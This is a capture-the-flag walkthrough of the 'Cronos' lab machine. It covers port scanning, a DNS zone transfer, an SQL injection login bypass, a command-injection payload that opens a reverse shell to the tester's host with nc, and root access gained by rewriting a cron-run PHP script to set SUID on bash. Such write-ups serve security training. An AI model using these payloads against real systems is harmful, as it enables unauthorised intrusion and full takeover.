Cronos
Last updated
Was this helpful?
Last updated
Was this helpful?
As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.13 -oN allPorts
-sS
use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000
nmap will try to keep the sending rate at or above 5000 packets per second.
-p-
scanning the entire port range, from 1 to 65535.
-T5
insane mode, it is the fastest mode of the nmap time template.
-Pn
assume the host is online.
-n
scan without reverse DNS resolution.
-oN
save the scan result into a file, in this case the allports file.
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p22,53,80 10.10.10.13 -oN targeted
-sC
performs the scan using the default set of scripts.
-sV
enables version detection.
-oN
save the scan result into file, in this case the targeted file.
If we take a look at the website, we'll see the Apache2 default page with no much going on.
But, as port 53 (DNS) is open, we could get a domain name with nslookup.
nslookup
And we get the ns1.cronos.htb
domain name. Now that we know the domain name, we could try to get all the subdomains with dig.
dig axfr @10.10.10.13 cronos.htb
Let's add the cronos.htb
and the admin.cronos.htb
domain names to the /etc/hosts
file.
nano /etc/hosts
If now we take a look at the cronos.htb
website, we'll see a CRONOS
website with nothing interesting in it.
But, if we take a look at the admin.cronos.htb
, we'll see a login panel.
I tried to bypass the login page with a basic SQL injection payload, logging in as the user ' or 1=1-- -
and a random password.
And it worked.
From here we can execute traceroute or ping. So I tried to ping my local machine, and it worked.
It seems like the website is executing a command on the system. We could try to execute another command, after the ping command, which will send us a revere shell. First, let's start a netcat listener on port 4444.
nc -lvnp 4444
-l
listen mode.
-v
verbose mode.
-n
numeric-only IP, no DNS resolution.
-p
specify the port to listen on.
Now, if we select ping, and introduce the following payload, we should get a reverse shell as the www-data
user, and we'll be able to grab the user flag.
;$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.8 4444 >/tmp/f)
First, let's set an interactive TTY shell.
script /dev/null -c /bin/bash
Then I press Ctrl+Z
and execute the following command on my local machine:
stty raw -echo; fg
reset
Terminal type? xterm
Next, I export a few variables:
export TERM=xterm
export SHELL=bash
Finally, I run the following command in our local machine:
stty size
And set the proper dimensions in the victim machine:
stty rows 51 columns 236
If we list the cronjobs available on the machine, we'll see that every minute, root is executing a PHP script.
cat /etc/crontab
If we take a look at the script permissions, we'll see that www-data
is the owner, and we can modify it.
ls -l /var/www/laravel/artisan
We could put some PHP code that will give the /bin/bash
the SUID permission, so we can execute it as the root user.
echo '<?php system("chmod u+s /bin/bash"); ?>' > /var/www/laravel/artisan
If now we wait for one minute, we'll see that now the bash binary has the SUID permission set.
ls -l /bin/bash
And finally, all we have to do is reap the harvest and take the root flag.
bash -p